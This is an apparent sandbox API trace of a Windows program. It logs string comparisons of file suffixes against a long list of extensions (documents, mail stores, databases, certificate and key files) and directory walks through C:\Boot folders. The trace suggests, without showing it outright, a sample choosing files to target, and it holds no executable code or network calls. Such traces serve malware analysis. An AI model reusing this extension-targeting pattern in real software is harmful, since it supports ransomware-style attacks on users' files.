[0088.324] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0088.325] lstrlenW (lpString=".dc3") returned 4 [0088.325] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0088.325] lstrlenW (lpString=".dcm") returned 4 [0088.325] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0088.325] lstrlenW (lpString=".dcr") returned 4 [0088.325] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0088.325] lstrlenW (lpString=".der") returned 4 [0088.325] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0088.325] lstrlenW (lpString=".dib") returned 4 [0088.325] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0088.325] lstrlenW (lpString=".dic") returned 4 [0088.325] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0088.325] lstrlenW (lpString=".dif") returned 4 [0088.325] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0088.325] lstrlenW (lpString=".divx") returned 5 [0088.325] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0088.325] lstrlenW (lpString=".djvu") returned 5 [0088.325] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0088.325] lstrlenW (lpString=".dng") returned 4 [0088.325] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0088.325] lstrlenW (lpString=".doc") returned 4 [0088.325] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0088.325] lstrlenW (lpString=".docm") returned 5 [0088.325] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0088.325] lstrlenW (lpString=".docx") returned 5 [0088.325] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0088.326] lstrlenW (lpString=".dot") returned 4 [0088.326] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0088.326] lstrlenW (lpString=".dotm") returned 5 [0088.326] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0088.326] lstrlenW (lpString=".dotx") returned 5 [0088.326] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0088.326] lstrlenW (lpString=".dpx") returned 4 [0088.326] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0088.326] lstrlenW (lpString=".dqy") returned 4 [0088.326] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0088.326] lstrlenW (lpString=".dsn") returned 4 [0088.326] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0088.326] lstrlenW (lpString=".dt") returned 3 [0088.326] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0088.326] lstrlenW (lpString=".dtd") returned 4 [0088.326] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0088.326] lstrlenW (lpString=".dwg") returned 4 [0088.326] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0088.326] lstrlenW (lpString=".dwt") returned 4 [0088.326] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0088.326] lstrlenW (lpString=".dx") returned 3 [0088.326] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0088.326] lstrlenW (lpString=".dxf") returned 4 [0088.326] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0088.326] lstrlenW (lpString=".edml") returned 5 [0088.326] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0088.327] lstrlenW (lpString=".efd") returned 4 [0088.327] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0088.327] lstrlenW (lpString=".elf") returned 4 [0088.327] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0088.327] lstrlenW (lpString=".emf") returned 4 [0088.327] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0088.327] lstrlenW (lpString=".emz") returned 4 [0088.327] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0088.327] lstrlenW (lpString=".epf") returned 4 [0088.327] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0088.327] lstrlenW (lpString=".eps") returned 4 [0088.327] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0088.327] lstrlenW (lpString=".epsf") returned 5 [0088.327] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0088.327] lstrlenW (lpString=".epsp") returned 5 [0088.327] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0088.327] lstrlenW (lpString=".erf") returned 4 [0088.327] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0088.327] lstrlenW (lpString=".exr") returned 4 [0088.327] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0088.327] lstrlenW (lpString=".f4v") returned 4 [0088.327] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0088.327] lstrlenW (lpString=".fido") returned 5 [0088.327] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0088.327] lstrlenW (lpString=".flm") returned 4 [0088.327] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0088.328] lstrlenW (lpString=".flv") returned 4 [0088.328] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0088.328] lstrlenW (lpString=".frm") returned 4 [0088.328] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0088.328] lstrlenW (lpString=".fxg") returned 4 [0088.328] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0088.328] lstrlenW (lpString=".geo") returned 4 [0088.328] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0088.328] lstrlenW (lpString=".gif") returned 4 [0088.328] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0088.328] lstrlenW (lpString=".grs") returned 4 [0088.328] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0088.328] lstrlenW (lpString=".gz") returned 3 [0088.328] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0088.328] lstrlenW (lpString=".h") returned 2 [0088.328] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0088.328] lstrlenW (lpString=".hdr") returned 4 [0088.328] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0088.328] lstrlenW (lpString=".hpp") returned 4 [0088.328] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0088.328] lstrlenW (lpString=".hta") returned 4 [0088.328] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0088.328] lstrlenW (lpString=".htc") returned 4 [0088.328] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0088.328] lstrlenW (lpString=".htm") returned 4 [0088.328] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0088.328] lstrlenW (lpString=".html") returned 5 [0088.329] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0088.329] lstrlenW (lpString=".icb") returned 4 [0088.329] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0088.329] lstrlenW (lpString=".ics") returned 4 [0088.329] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0088.329] lstrlenW (lpString=".iff") returned 4 [0088.329] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0088.329] lstrlenW (lpString=".inc") returned 4 [0088.329] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0088.329] lstrlenW (lpString=".indd") returned 5 [0088.329] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0088.329] lstrlenW (lpString=".ini") returned 4 [0088.329] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0088.329] lstrlenW (lpString=".iqy") returned 4 [0088.329] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0088.329] lstrlenW (lpString=".j2c") returned 4 [0088.329] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0088.329] lstrlenW (lpString=".j2k") returned 4 [0088.329] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0088.329] lstrlenW (lpString=".java") returned 5 [0088.329] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0088.329] lstrlenW (lpString=".jp2") returned 4 [0088.329] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0088.329] lstrlenW (lpString=".jpc") returned 4 [0088.329] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0088.329] lstrlenW (lpString=".jpe") returned 4 [0088.330] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0088.330] lstrlenW (lpString=".jpeg") returned 5 [0088.330] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0088.330] lstrlenW (lpString=".jpf") returned 4 [0088.330] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0088.330] lstrlenW (lpString=".jpg") returned 4 [0088.330] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0088.330] lstrlenW (lpString=".jpx") returned 4 [0088.330] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0088.330] lstrlenW (lpString=".js") returned 3 [0088.330] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0088.330] lstrlenW (lpString=".jsf") returned 4 [0088.330] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0088.330] lstrlenW (lpString=".json") returned 5 [0088.330] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0088.330] lstrlenW (lpString=".jsp") returned 4 [0088.330] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0088.330] lstrlenW (lpString=".kdc") returned 4 [0088.330] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0088.330] lstrlenW (lpString=".kmz") returned 4 [0088.330] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0088.330] lstrlenW (lpString=".kwm") returned 4 [0088.330] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0088.330] lstrlenW (lpString=".lasso") returned 6 [0088.330] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0088.330] lstrlenW (lpString=".lbi") returned 4 [0088.331] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0088.331] lstrlenW (lpString=".lgf") returned 4 [0088.331] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0088.331] lstrlenW (lpString=".lgp") returned 4 [0088.331] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0088.331] lstrlenW (lpString=".log") returned 4 [0088.331] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0088.331] lstrlenW (lpString=".m1v") returned 4 [0088.331] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0088.331] lstrlenW (lpString=".m4a") returned 4 [0088.331] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0088.331] lstrlenW (lpString=".m4v") returned 4 [0088.331] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0088.331] lstrlenW (lpString=".max") returned 4 [0088.331] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0088.331] lstrlenW (lpString=".md") returned 3 [0088.331] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0088.331] lstrlenW (lpString=".mda") returned 4 [0088.331] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0088.331] lstrlenW (lpString=".mdb") returned 4 [0088.331] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0088.331] lstrlenW (lpString=".mde") returned 4 [0088.331] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0088.331] lstrlenW (lpString=".mdf") returned 4 [0088.331] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0088.332] lstrlenW (lpString=".mdw") returned 4 [0088.332] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0088.332] lstrlenW (lpString=".mef") returned 4 [0088.332] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0088.332] lstrlenW (lpString=".mft") returned 4 [0088.332] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0088.332] lstrlenW (lpString=".mfw") returned 4 [0088.332] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0088.332] lstrlenW (lpString=".mht") returned 4 [0088.332] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0088.332] lstrlenW (lpString=".mhtml") returned 6 [0088.332] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0088.332] lstrlenW (lpString=".mka") returned 4 [0088.332] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0088.332] lstrlenW (lpString=".mkidx") returned 6 [0088.332] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0088.332] lstrlenW (lpString=".mkv") returned 4 [0088.332] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0088.332] lstrlenW (lpString=".mos") returned 4 [0088.332] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0088.332] lstrlenW (lpString=".mov") returned 4 [0088.332] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0088.332] lstrlenW (lpString=".mp3") returned 4 [0088.332] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0088.332] lstrlenW (lpString=".mp4") returned 4 [0088.332] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0088.333] lstrlenW (lpString=".mpeg") returned 5 [0088.333] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0088.333] lstrlenW (lpString=".mpg") returned 4 [0088.333] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0088.333] lstrlenW (lpString=".mpv") returned 4 [0088.333] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0088.333] lstrlenW (lpString=".mrw") returned 4 [0088.333] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0088.333] lstrlenW (lpString=".msg") returned 4 [0088.333] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0088.333] lstrlenW (lpString=".mxl") returned 4 [0088.333] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0088.333] lstrlenW (lpString=".myd") returned 4 [0088.333] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0088.333] lstrlenW (lpString=".myi") returned 4 [0088.333] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0088.333] lstrlenW (lpString=".nef") returned 4 [0088.333] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0088.333] lstrlenW (lpString=".nrw") returned 4 [0088.333] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0088.333] lstrlenW (lpString=".obj") returned 4 [0088.333] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0088.333] lstrlenW (lpString=".odb") returned 4 [0088.333] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0088.333] lstrlenW (lpString=".odc") returned 4 [0088.333] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0088.333] lstrlenW (lpString=".odm") returned 4 [0088.334] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0088.334] lstrlenW (lpString=".odp") returned 4 [0088.334] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0088.334] lstrlenW (lpString=".ods") returned 4 [0088.334] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0088.334] lstrlenW (lpString=".oft") returned 4 [0088.334] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0088.334] lstrlenW (lpString=".one") returned 4 [0088.334] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0088.334] lstrlenW (lpString=".onepkg") returned 7 [0088.334] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0088.334] lstrlenW (lpString=".onetoc2") returned 8 [0088.334] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0088.334] lstrlenW (lpString=".opt") returned 4 [0088.334] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0088.334] lstrlenW (lpString=".oqy") returned 4 [0088.334] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0088.334] lstrlenW (lpString=".orf") returned 4 [0088.334] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0088.334] lstrlenW (lpString=".p12") returned 4 [0088.335] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0088.335] lstrlenW (lpString=".p7b") returned 4 [0088.335] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0088.335] lstrlenW (lpString=".p7c") returned 4 [0088.335] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0088.335] lstrlenW (lpString=".pam") returned 4 [0088.335] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0088.335] lstrlenW (lpString=".pbm") returned 4 [0088.335] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0088.335] lstrlenW (lpString=".pct") returned 4 [0088.335] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0088.335] lstrlenW (lpString=".pcx") returned 4 [0088.335] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0088.335] lstrlenW (lpString=".pdd") returned 4 [0088.335] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0088.335] lstrlenW (lpString=".pdf") returned 4 [0088.335] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0088.335] lstrlenW (lpString=".pdp") returned 4 [0088.335] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0088.336] lstrlenW (lpString=".pef") returned 4 [0088.336] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0088.336] lstrlenW (lpString=".pem") returned 4 [0088.336] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0088.336] lstrlenW (lpString=".pff") returned 4 [0088.336] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0088.336] lstrlenW (lpString=".pfm") returned 4 [0088.336] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0088.336] lstrlenW (lpString=".pfx") returned 4 [0088.336] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0088.336] lstrlenW (lpString=".pgm") returned 4 [0088.336] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0088.336] lstrlenW (lpString=".php") returned 4 [0088.336] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0088.336] lstrlenW (lpString=".php3") returned 5 [0088.336] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0088.336] lstrlenW (lpString=".php4") returned 5 [0088.336] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0088.336] lstrlenW (lpString=".php5") returned 5 [0088.336] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0088.336] lstrlenW (lpString=".phtml") returned 6 [0088.336] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0088.336] lstrlenW (lpString=".pict") returned 5 [0088.336] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0088.336] lstrlenW (lpString=".pl") returned 3 [0088.337] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0088.337] lstrlenW (lpString=".pls") returned 4 [0088.337] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0088.337] lstrlenW (lpString=".pm") returned 3 [0088.337] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0088.337] lstrlenW (lpString=".png") returned 4 [0088.337] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0088.337] lstrlenW (lpString=".pnm") returned 4 [0088.337] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0088.337] lstrlenW (lpString=".pot") returned 4 [0088.337] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0088.337] lstrlenW (lpString=".potm") returned 5 [0088.337] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0088.337] lstrlenW (lpString=".potx") returned 5 [0088.337] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0088.337] lstrlenW (lpString=".ppa") returned 4 [0088.337] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0088.337] lstrlenW (lpString=".ppam") returned 5 [0088.337] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0088.337] lstrlenW (lpString=".ppm") returned 4 [0088.337] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0088.337] lstrlenW (lpString=".pps") returned 4 [0088.337] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0088.337] lstrlenW (lpString=".ppsm") returned 5 [0088.337] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0088.337] lstrlenW (lpString=".ppt") returned 4 [0088.337] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0088.338] lstrlenW (lpString=".pptm") returned 5 [0088.338] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0088.338] lstrlenW (lpString=".pptx") returned 5 [0088.338] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0088.338] lstrlenW (lpString=".prn") returned 4 [0088.338] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0088.338] lstrlenW (lpString=".ps") returned 3 [0088.338] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0088.338] lstrlenW (lpString=".psb") returned 4 [0088.338] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0088.338] lstrlenW (lpString=".psd") returned 4 [0088.338] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0088.338] lstrlenW (lpString=".pst") returned 4 [0088.338] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0088.338] lstrlenW (lpString=".ptx") returned 4 [0088.338] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0088.338] lstrlenW (lpString=".pub") returned 4 [0088.338] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0088.338] lstrlenW (lpString=".pwm") returned 4 [0088.338] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0088.338] lstrlenW (lpString=".pxr") returned 4 [0088.338] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0088.338] lstrlenW (lpString=".py") returned 3 [0088.338] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0088.338] lstrlenW (lpString=".qt") returned 3 [0088.339] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0088.339] lstrlenW (lpString=".r3d") returned 4 [0088.339] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0088.339] lstrlenW (lpString=".raf") returned 4 [0088.339] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0088.339] lstrlenW (lpString=".rar") returned 4 [0088.339] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0088.339] lstrlenW (lpString=".raw") returned 4 [0088.339] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0088.339] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0088.339] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0088.339] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.339] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0088.339] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.339] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0088.340] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.340] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.340] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.340] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.340] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0088.340] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.340] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0088.341] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.341] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604d0 [0088.342] FindNextFileW (in: 